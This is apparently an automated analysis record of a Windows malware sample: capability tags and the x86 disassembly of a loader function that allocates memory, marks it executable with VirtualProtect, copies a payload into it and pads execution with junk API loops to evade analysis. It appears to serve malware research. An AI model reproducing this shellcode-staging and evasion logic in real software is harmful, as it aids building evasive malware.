Function at 0x401540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get hostname

Disassembly:
push ecx
push 0x42a2f8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x423528
push eax
mov dword fs:[0], esp
sub esp, 0x90c
cmp dword [0x848520], 0x5b1
push ebx
push esi
push edi
jne 0x401609
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea ecx, [ebp - 0x14]
push ecx
push 0
push str.xiciv_luriyolonutehikepobojegapa_lovazovareputedutejahoju
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x3c]
call fcn.00401bc0
push 0
mov dword [ebp - 4], 0
call fcn.00403965
push 0
push 0
call fcn.004037b9
add esp, 0xc
jmp 0x401530
mov eax, dword [0x848520]
mov ecx, dword [0x429370]
add eax, 0x1134b
push eax
push 0
mov dword [0x848524], ecx
mov dword [0x848520], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x848520]
lea edx, [ebp - 0x1c]
push edx
push 0x40
push ecx
push eax
mov dword [0x847474], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
mov edi, edi
cmp esi, 0x2710
jge 0x401663
lea edx, [ebp - 0x518]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401650
xor esi, esi
cmp dword [0x848520], esi
jbe 0x4016c7
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x848524]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x847474]
mov byte [edx + esi], cl
cmp dword [0x848520], 0xa8
jne 0x4016be
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0x118]
push ecx
call ebx
inc esi
cmp esi, dword [0x848520]
jb 0x401682
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov edx, dword [0x848520]
add edx, esi
cmp edx, 0xe
jne 0x401701
push 0
push 0
push str.juxaxisofun
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc esi
cmp esi, 0x39621
jl 0x4016d5
call fcn.00401470
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401723
call fcn.00401510
inc esi
cmp esi, 0x6753f
jl 0x401717
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
jmp 0x401750
cmp dword [0x848520], 0x86
jne 0x40178c
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x918]
push ecx
push str.jihuxajazacixusuzosi
call esi
push 0
push str.fepufomusekejomifalojukenezeta
push str.zohunegihufabilugepatamoxijunesagajodefoyomoro
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401750
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret